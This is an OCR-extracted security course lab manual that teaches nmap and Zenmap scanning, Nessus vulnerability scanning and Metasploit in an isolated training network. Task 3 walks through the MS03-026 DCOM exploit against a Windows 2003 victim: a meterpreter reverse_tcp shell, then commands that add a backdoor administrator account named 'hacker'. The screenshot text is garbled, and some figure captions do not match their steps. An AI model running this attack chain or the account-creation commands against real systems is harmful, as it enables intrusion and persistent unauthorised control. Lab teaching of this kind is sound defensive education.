Nessus [3] — Nessus, from Tenable Security, is a vulnerability scanner that indicates
weaknesses in your operating systems. The tool, which is often used be people working
in the field of information assurance, tells what steps can be taken to patch the holes.
The home feed of Nessus is free to home users while the professional feed is not free.
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Metasploit [4] — Metasploit is an exploitation framework. Version 3 of Metasploit is
written in Ruby and has exploits for Microsoft Windows, Mac OS X, Linux, and UNIX.
Some exploits are for the operating systems themselves and others are for the
applications like Adobe Reader and Internet Explorer. There is a detailed description of
each exploit, which explains which version of the operating system or application
software is vulnerable

Windows Command Shell — The Windows command shell allows users to interact with
the operating system from a command line environment. Virtually anything that can be
done in the Graphical User Interface, or GUI, in Windows can be done from the
command line. The Windows Command Shell is one of the payloads that can be used
within Metasploit. If a system is vulnerable to an exploit and a hacker launches a
successful attack, a command shell can be sent from the victim’s machine to the
attacker. Once the attacker has a command shell connected to the victim’s machine,
they can run commands on the remote system.

8/15/2012 Copyright © 2003-2012 Center for Systems Security and Information Assurance (CSSIA) Page 4 of 26



Lab 12: Discovering Security Threats and Vulnerabilities

3 Pod Topology
BackTrack 5 Windows 7
Attack Attack

Red Hat Linux
Victim

Victim

Windows 2k3 Server

INTERNAL NETWORK Domain: MSEC.local
192.168.100.0/24
MSEC 2
ST
Multi-Purpose BRRRRY Firewall
Security Pod 3
Domain: GVPC.local
EXTERNAL NETWORK 10.10.19.0/24

LiNuX
SNIFFER
\ b,

BackTrack 4
Attack

Figure 1: MSEC Network Topology
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4 Lab Settings

The information in the table below will be needed in order to complete the lab. The
task sections below provide details on the use of this information.

Required Virtual Machines and Applications

Log In to the following virtual machines before starting the tasks in this lab:

BackTrack 4 External Attack Machine 10.10.19.148
BackTrack 4 External root password password
Windows 2k3 External Victim 10.10.19.202

Windows 2k3 Server administrator password password

BackTrack 4 Login:

1. Click on the BackTrack 4 icon on the topology.
2. Atthe Ubuntu boot menu, type bt4 to select the BackTrack 4 system.

Ubuntu — LILO Boot Menu

Il |

Hit any key to cancel timeout —— =
Use «Tl» arrow keys to make selection
Enter choice, options. Hit RET to boot

Figure 2: Ubuntu Boot Menu
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3. Type root at the bt login: username prompt.
4. Type password at the Password: prompt.

For security purposes, the password will not be displayed.

5. To start the GUI, type startx at the stroot@bt:~# prompt.

BackTrack 4 Beta bt ttyl

bt login: root

assword :

ast login: Sat Jun 16 12:07:06 EDT
inux bt 2.6.28.1 #2 SMP UWed Feb 4 ¢
+ WELCOME TO THE BACKTRACK LIVE CD

[*] To start Networking - “setc/ini
[*] To start KDE — “startx"
[*] To start FUWM - “bt4-crystal"

[+*] http://wwu.remote-exploit.org/
stroot@bt:"# startx

Figure 3: BackTrack 4 login

Windows 2003 Server Login:

1. Click on the Windows 2k3 Server icon on the topology (these instructions will
work for both internal and external victim machines).

2. Enter the User name, Administrator (verify the username with your instructor).

3. Type in the password: password and click the OK button (verify the password
with your instructor).

7 Windows
¥ Standard Edition

Copyright @ 1885-2003 Microsolt Carporation

T

User name: I Administrator

Password: I ooooooool

| ag I Cancel Options ==
A

Figure 4: Windows 2k3 login
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Task 1 Scanning the Network for Vulnerable Systems

Nmap, or network mapper, is free and runs on multiple platforms including Microsoft
Windows, Mac, and Linux. It can be used to determine which hosts are up on the
network and then can determine which Transmission Control Protocol (TCP) and User
Datagram Protocol (UDP) ports a remote system has running.

Zenmap is a GUI frontend for nmap, which provides the user with detailed information
about the machines they are scanning. The detail included by Zenmap includes banner
messages that are greetings made to machines connecting to a port. Using the
information gathered during the scan, Zenmap will provide you with a determination of
what the remote machine’s operating system is. Once the attacker determines the
version of the operating system and corresponding service pack level, they can search
for an exploit that works for that specific version of the operating system.

Task 1.1 Scanning the Network Using Nmap and Zenmap
Open a Terminal to Get Started

1. Open aterminal on the Backtrack 4 External Linux system by clicking on the
picture to the left of the Firefox icon, in the bottom left hand pane of the screen.

nE root@bt;: ~ - Shell - Konsole mE &

Session Edit ‘iew Bookmarks Settings Help

- 4 @ v o root@bt: ~ - Shell - Ko

Figure 5: Opening the Bash Terminal in Linux
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2. Nmap has many switches. To view some of the command line syntax, type:
root@bt:~#nmap

@bt:-# nmap
4.68 [ http://nmap.org )
1] [Options] {target specification}

IF addr

255, 1- 25¢

anme.nmap.org, microsoft.c ., 192.168.0.1; 10 - 255 =T
; Inpuf from 11

Exﬁlude hosts/networks
xclude list from file

n - simply
n - go no Turfhﬂr fhan determlnlng 1f host 1s online
: Treat all hosts as online -- skip host discovery
S/PA/PU [portli : TCP S CK or UDP di
SPRE/BEM: ICMP o, timestamp, and netmask
-PO [protocol list]: IP Prnfn-n1 Plng
- do DNS r '

: TCP SYM/Connect() /)

TCP Mull, FIM, and X
; <flac 5 :

Figure 6: Various Nmap Switches

3. Type the following command into the command prompt to conduct a ping scan
to find hosts on a network (Note: Linux is case sensitive. Use lowercase "s" and

capital "P"):
root@bt:~#nmap —sP 10.10.19.*

You should see 2 results, 10.10.19.148 (attacker) and 10.10.19.202 (victim).

rosl@bl: = - Shell - Konsols

Sassion Edit iew Sookmarks Settings Help
reot@ht:~# nmap -sP 10.10.19.*

Starting Nmap 4.68 ( http://nmap.org ) at 2012-03-03 21:10 EST
Host 10.10.19.148 appears to be up.

Host 10.10.19.202 appears to be up.

MAC Addr‘ess 00:50:56:98:00:9F (VMwWare)

Nmap done: 256 IP addresses (2 hosts up) scanned in 31.11 seconds
root@bt : -# l

&l Shall

Figure 7: The Results of a Ping Scan using nmap with the —sP option
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The results of the Ping Scan indicate that two hosts on the 10.10.19.0/24 network are
up. However, there could be other hosts that are up that have their firewalls enabled or
are not responding to Internet Control Message Protocol (ICMP) requests.

Now that the victim machine’s IP Address has been identified, we are ready to find out
more information about it, including the following:

e Open Transmission Control Protocol (TCP) Ports
e Open User Datagram Protocol (UDP) Ports

e Operating System and Service Pack Level

e Banner Messages

4. To perform a Transmission Control Protocol (TCP) Scan, type the following:
root@bt:~#nmap —sT 10.10.19.202

root@bt: ~ - Shell - Konsole

Session Edit View Bookmarks Settings Help

& shell

Figure 8: An Nmap TCP Scan
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5. To perform a User Datagram Protocol (UDP) Scan, type the following:
root@bt:~#nmap —sU 10.10.19.202

root@t:-# nmap -sU 10.10.18.202

Starting Nmap 4.68 ( http:/ ) at 2012-03-03 21:43 EST

Interesting ports on 10.10.
Mot shown: 1472 closed por
FORT STATE
S3/udp  open|filtered domain
88 ‘udp  open|filtered kerberos-sec
fudp open|filtered ntp
udp  open msrpc
Judp open|filtered netbios-ns
Judp  open|filtered netbios-dgm
1/udp open|filtered snmp
Judp open|filtered ldap
open|filtered mic
open|filtered
open|filtered
open|filtered
open|filtered ac
open|filtered
apﬂnlfllterﬁd

J:9F (WMWare)

Mmap done: 1 IP address (1 host up) scanned i1n 15.72 sec

Figure 9: An Nmap UDP Scan

onds

Keep in mind that UDP is an unreliable protocol, so UDP scan results may be unreliable.

6. For this step, we will use Zenmap, the Graphical User Interface (GUI) frontend to

nmap. To start Zenmap, type zenmap at the BackTrack terminal.
root@bt:~#zenmap

root@bt: ~ - Shell - Konsole

Session Edit WVview Bookmarks Settings Help

root@bt:-# zenmap I

Figure 10: Typing zenmap into the BackTrack Terminal
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7. After the Zenmap GUI tool opens, type 10.10.19.202, the address of the
Windows victim machine, into the target box and click the Scan button.

Zenmap

Scan Tools Profile Help

O % B B ; a

Mew Scan Command Wizard Save Scan Open Scan | Report a bug Help

untitled scanl §§ ‘

Target: |1C|.1[].19.2[]2| Profile: |Intense Scan -

Command: |nmap -T Aggressive -A -v 10.10.19.202

Figure 11: Entering the Target IP Address in Zenmap

Viewing the Results

Your Zenmap scan may take about 5 minutes to complete. After it is complete, the IP
Address of the Target machine will be displayed in the left hand pane of Zenmap.

8. Click on the Ports/Hosts Tab to view the open ports and banner messages.

Ports / Hosts |Nmap Output IH-:-st Details | Scan Details

| || Port Protocol State Service \ersion
® 2 tep open ftp Microsoft ftpd
® 23 tcp open telnet
@ 2 tep open smtp Microsoft ESMTP
® s3 tcp open domain Microsoft DNS
@ =80 tep open http Microsoft IS webserver
® ss tcp open kerberos-sec Microsoft windows kerberos-sec
@ 110 tep open pop3 Microsoft Windows 2003 POP3 Service
@® 135 tep open msrpc Microsoft Windows RPC
® 139 tep open netbios-ssn
® 389 tep open Idap
@ aas tep open microsoft-ds Microsoft Windows 2003 microsoft-ds

Figure 12: Zenmap Reports the Open Ports and the Banner Messages of the Scanned Machine

8/15/2012 Copyright © 2003-2012 Center for Systems Security and Information Assurance (CSSIA) Page 12 of 26



Lab 12: Discovering Security Threats and Vulnerabilities

9. To Close Zenmap, select Scan from the Menu bar, then select Quit.

Zenmap

-Itmls Profile Help

| | New Scan  Ctrl+T E E' =1

L
& Close Scan Ctrl+w izard Sawve Scan Open Scan | Report a bug Help
{[&l save Scan  ctrl+s

[= open Scan ctrli+o 2028 ‘
IMuit - Ctrl4+Q v| Profile: |Intense Scan v| Scan| Cance||

Figure 13: Quitting Zenmap

10. Click Close anyway when you are asked about saving the Intense Scan.
Click the Cancel radio button on the following Crash Report window.

Save changes on "Intense Scan on 10.10.19.202"

The given scan has unsaved changes.
What do you want to do?

Egave Clnseanway‘ %gancel |

Figure 14: Option to Save a Zenmap Report

Task 1.2 Conclusion

Nmap is a scanning tool that can provide information about which remote machines are
up and running, which ports they have open, and what operating system they are
running. Zenmap is a GUI frontend for nmap, which provides the user banner messages,
which are responses from the remote machine providing details about the operating
system. Zenmap scans can be saved so they can be analyzed at a later time.

Task 1.3 Discussion Questions

Why is nmap useful for people working in the field of Information Assurance?
What is the best way to find out all of the available switches for nmap?

How can you perform a ping scan to determine alive hosts using nmap?
What is the syntax to scan a remote machine for open UDP ports?

What is the syntax to scan a remote machine for open TDP ports?

kW e
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Task 2 Using Nessus

Nessus, from Tenable Security, is a vulnerability scanner that indicates weaknesses in
your operating systems. The tool, which is often used by people working in the field of
Information Assurance, tells what steps can be taken to patch the holes. The HomeFeed
subscription of Nessus is free to home users, the ProfessionalFeed subscription is
available for purchase.

Task 2.1 Scanning with Nessus

There are two parts to Nessus, the client and the server. They do not have to run on the
same machine, but they can both be installed to the same system.

You should always request permission before you perform a Nessus scan because it is
possible that the system you are scanning could go down or become inoperable. Scan
with caution.

To launch the Nessus server and Nessus client:

1. Open aterminal within BackTrack 4 system by clicking on the terminal icon in the
bottom left corner. Start the Nessus Server daemon by typing the following
command:
root@bt:~#/etc/init.d/nessusd start

Figure 15: Starting the Nessus Server

You should receive the message “Starting Nessus Daemon: nessusd.”

2. Verify that the Nessus Server is started by typing the following command:
root@bt:~#netstat -tanp

PID/Program name

8541 /nessusd: waltl

Figure 16: Verifying the Nessus Server was Started
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3. Start the Nessus client by typing the following command at the terminal:
root@bt:~#nessus

MNessus Setup

MNew session setup
= Messusd Host ||Dca|hc:st
Port : [1241
3 Login : |rcmt
Password : |
Log in
Start the scan Load report Quit

Figure 17: The Nessus Client

4. Type toor for the password and click the Log in radio button.

For security reasons, the password will not be displayed.

Login : |rcu::t

Password : |‘.|:n:|r

== ]

Figure 18: Logging into the Nessus Client
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5. Click OK to the Security Warning indicating that systems could crash.

™ = Warning [ B= b
The plugins that have the ability to crash remote services or hosts
have been disabled. You should activate them if you want your security
audit to be complete

9]:4

Figure 19: Nessus Security Warning

6. Click the Target tab. In the Target box, type the IP Address of 10.10.19.202.
Click the Start the Scan button to indicate the Nessus scan on the victim.

Messus Setup

Messusd host | Plugins | Credentials | Scan Options ser | Prefs. | KB | Credits

Target selection

Target(s) : 10.10.19.202 Read file... |

Perform a DNS zone transfer
[] save this session

[] Save empty sessions

Previous sessions ;

Session | Targets

Restore session Delete session

Start the scan | Load report Quit

Figure 20: Starting a Nessus Scan

The report can take 20-30 minutes to generate, depending on the system scanned.
While this scan is taking place, you can move on to Task 3.1 and then return to finish
Task 2.1.
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7. Toview the report, click on Subnet, and then click on Host. Find epmap in the
port list, and then click on security hole. Read the description in the bottom
pane. Reports can be saved to HTML format. Click Close Window to close
Nessus. Click No when you are asked if you want to save the report.

Hessus "NG" Report

Subnet = | Port + | Seventy =
epmap [135/tcp) & Security warning
¥ doemain (53/udp) P~  Security Hole

¢ domain (53ftcp)

¢ ddt (1052/tcp)

¢ cap (1026/tcp) __J
¢ blahll (1042ftcp) =

The remote host is running a varsion of Windows which has a flaw in

its RPC interface which may allow an attacker to execute arbitrary code
and gain SYSTEM privileges, There is at least one Worm which is
currently exploting this vulnerability, Namely, the MsBlaster worm.

10.10.18.202

Solution: see httpyjwww.microsoft.comjtechnetisecurty/bulletin/MS03-026.mspx
Risk factor : High

CWVE : CAN-2003-0352

BID : 8205

Other referances : 18vA:2003-A-0011

Save report... Close window

Figure 21: A Nessus Scan Report

Task 2.2 Conclusion

Nessus is a vulnerability scanner that will provide you with information indicating the
weaknesses that exist on systems. The Nessus report will provide you with a list of
critical problems and provide you will solutions on how to patch the holes. You need to
be cautious when running a Nessus scan against a target system because the scan could
cause a system to crash.

Task 2.3 Discussion Questions

Why do you need to be cautious when initiating a Nessus scan?

What is the command to start the Nessus server?

Which command can be used to verify that the Nessus server is running?
Is it possible to run the Nessus client and server on the same machine?

A
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Task 3 Introduction to Metasploit, a Framework for Exploitation

Metasploit has exploits for the Windows, Mac, Linux, and UNIX operating systems, as
well as some exploits for mobile devices like the iPhone and Droid. It actually started
out as a game but it is a serious tool that can be used to exploit vulnerabilities.
Metasploit has a free and a commercial version and is maintained by the company Rapid
7. Understanding how an attacker can use a tool like Metasploit can help someone
better understand network security and the importance of hardening their systems.

Task 3.1 Launch Metasploit and Explore the Available Options
To launch Metasploit and explore Metasploit, type the following commands:
1. Open aterminal within BackTrack 4 system by clicking on the terminal icon in the

bottom left corner. Navigate to the /pentest/exploits/framework3 directory.
root@bt:~#cd /pentest/exploits/framework3

root@bt:# cd spentest/exploits/framework3
|

root@b #

Figure 22: Switching to the Framework 3 Directory

2. Type the following command to launch the msfconsole of Metasploit:
root@bt:/pentest/exploits/framework3#./msfconsole

# ./msfconsole

o
8
.oFYo. oBF .oPFYo. .oPFYo. .oFYo.
.oooo08 Ybh.. 8 8
8 8 'vb. 8 8
“YooPE "YooP' SYooP!'

Figure 23: Metasploit

8/15/2012 Copyright © 2003-2012 Center for Systems Security and Information Assurance (CSSIA) Page 18 of 26



Lab 12: Discovering Security Threats and Vulnerabilities

3. At the msf prompt, you can type the ? to see a list of available commands:
msf > ?

Change the
connect Communicate with
exit Exit the
help Help menu
info Displays information about one or more module
irb Drop into 1irb ~1pting mode
jobs - anages jobs
Load Load a frame . plugin

Figure 24: Commands Available within Msfconsole

4. To view what Metasploit has to offer, type the following 5 commands:

Command to type at msf console Results

show all Shows all exploits, payloads, etc
search exploits windows Shows all Windows Exploits
search exploits linux Shows all Linux Exploits

search exploits unix Shows all Unix Exploits

search exploits osx Shows all Macintosh Exploits

or pattern 'wind

Mame

n Symantec Remote Management Buffer

rendmicro_serverprotect Trend Micro ServerProtect 5.58 Buffer

Figure 25: Searching for Exploits within the Metasploit Framework
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5. The victim machine we are attacking is running Windows Server 2003, so we
need to search through the Windows exploit and find one that works for 2003.
Type search exploits windows at the msf prompt to view Windows exploits:
msf > search exploits windows

6. To view more about an individual exploit, we can use the info command. The
info command will tell us which operating system the exploit works on.
Let’s take a look at the last Windows exploit listed to see what information is
provided about the exploit to determine if it can be used against the target.
Type the following command into the msf console to view exploit information:
msf > info exploit/windows/wins/ms04_045_wins

mst = 1nfo exploilt/window

Provided by:
hdm <hdm@ame

O English

options:
Current Setting Required ) 1ption

Figure 26: The Description of the ms04_045_wins Exploit

7. Search for the DCOM exploit by typing search dcom within the msf console
msf > search dcom

SSID Overflow

Figure 27: Searching for RPC Vulnerabilities
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8. Let’s examine the first of the DCOM vulnerabilities in the list, the first of which is
the Microsoft RPC DCOM Interface Overflow. To get detailed information about
what operating system is vulnerable and find out what port needs to be open,
type the following command into the msf console of Metasploit:
msf > info windows/dcerpc/ms03_026_dcom

Available targets:
Id Name

0 Windows NT SP3-6& 3 Universal

1c options:

Current Setting Required Description
RHOST yes The target addr
RPORT yes The target port

Figure 28: A Description of the Microsoft RPC DCOM Buffer Over flow Interface

9. To use the Microsoft RPC DCOM exploit within Metasploit, type the following:
msf > use windows/dcerpc/ms03_026_dcom

mst = use windows/

msf exploit(m

Figure 29: A Description of the Microsoft RPC DCOM Buffer Over flow Interface

In order to exploit the remote system, we will need to specify the remote system’s IP
Address by using the set command. The term RHOST designates the remote host.
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10. Type the following command into the msf console to set the rhost (remote host):
msf exploit(ms03_026_dcom) > set rhost 10.10.19.202

mst exploitims02 026 dcom) = set rhost 10.10.19.202

rhost == 10.10.19.202

Figure 30: Using the Exit command to leave Metasploit

Next, we will need to set a payload, which is a method by which the attacker will
connect to the victim. Meterpreter is one of the payloads that can be used within
Metasploit. The meterpreter environment allows the user to interact with the
operating system much like the Windows command prompt, except that the
meterpreter shell is even more powerful and has a set of unique commands that deal
specifically with exploitation. The meterpreter payload also allows the user to spawn a
command shell.

11. Type the following command into the msf console to set the payload:
msf exploit(ms03_026_dcom) > set payload windows/meterpreter/reverse_tcp

026 dcom) = set payload windows/meterpreter/reverse_top

jaulnad => w1ndnwz;meterjreter;reverze tep

Figure 31: Using the Exit command to leave Metasploit

So that we can designate which system the victim will “call back to”, we need to specify
a LHOST. The term LHOST stands for local host, which in this case is the attacker.

12. Type the following command into the msf console to set the lhost (local host):
msf exploit(ms03_026_dcom) > set lhost 10.10.19.148

msf exploitims03 026 dcom) = se 5 0.10.19.148

lhost == 10.10.19.148

Figure 32: Using the Exit command to leave Metasploit
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13. For quality assurance purposes, we can verify our commands by typing:
msf exploit(ms03_026_dcom) > show options

msf exploit(m

Module options:

Mame current Setting

Payload

MName

EXITFLUMC

Figure 33: Showing the Options for the Exploit

14. To exploit the victim machine, type the following command:
msf exploit(ms03_026_dcom) > exploit

1ng
Binding to
Bound to 4dg

(10.10.19.148:4444 -= 10.10.19

Figure 34: The Remote System has been Exploited Successfully

You should receive the message Meterpreter session 1 opened. Now that you have a
remote connection to the victim, you can type commands into the Meterpreter shell,
which is interacting with the victim machine.
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15. Type the following command to determine the Meterpreter commands:
meterpreter > ?

information about active channels

Figure 35: Meterpreter Commands

16. Type the following command to determine which account you are running as:

meterpreter > getuid

meterpreter = ¢
ver username: NT ALUTHORITY

Figure 36: Level of Privilege on the Remote System

17. Type the following to determine the remote machine’s operating system:

meterpreter > sysinfo

meterpreter =
Computer: WI

0s ! Windo
meterpreter = |

Figure 37: Information about the Remote System

18. Type the following command to get a command shell:
meterpreter > execute —f cmd.exe -i

Figure 38: A Command Shell on the Remote System
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19. Type the following command to add a user called hacker to the machine:
C:\WINDOWS\system32>net user hacker P@sswOrd /add

Figure 39: Adding a User to the Compromised Machine

20. Type the following to make hacker a member of the administrators group:
C:\WINDOWS\system32>net localgroup administrators hacker /add

group administrators hacker /fadd

r fadd

Figure 40: Adding the User to the Administrator’s Group

21. Type exit close the connection with the Windows 2k3 Server. Close the terminal
when finished with the task.

Task 3.2 Conclusion

Metasploit is a framework that contains exploits for a variety of operating systems
including Macs, Linux, UNIX, and Windows. A user can interact with Metasploit by
typing msfconsole from the terminal within BackTrack. Once msfconsole has been
launched, the user has the ability to search through the list of available exploits and
other modules. To determine if the exploit is suitable for the target system, the user
can utilize the info command to get more detailed information about a specific exploit.

Task 3.3 Discussion Questions

What is the command used to show all Windows exploits in Metasploit?

What is the command used to show all Macintosh exploits in Metasploit?

How can you learn more information about a particular exploit?

Launch msfconsole again. Use the banner command until you are able to get the
picture of the cow. Type exit to leave the msfconsole environment.

PwwnNeE
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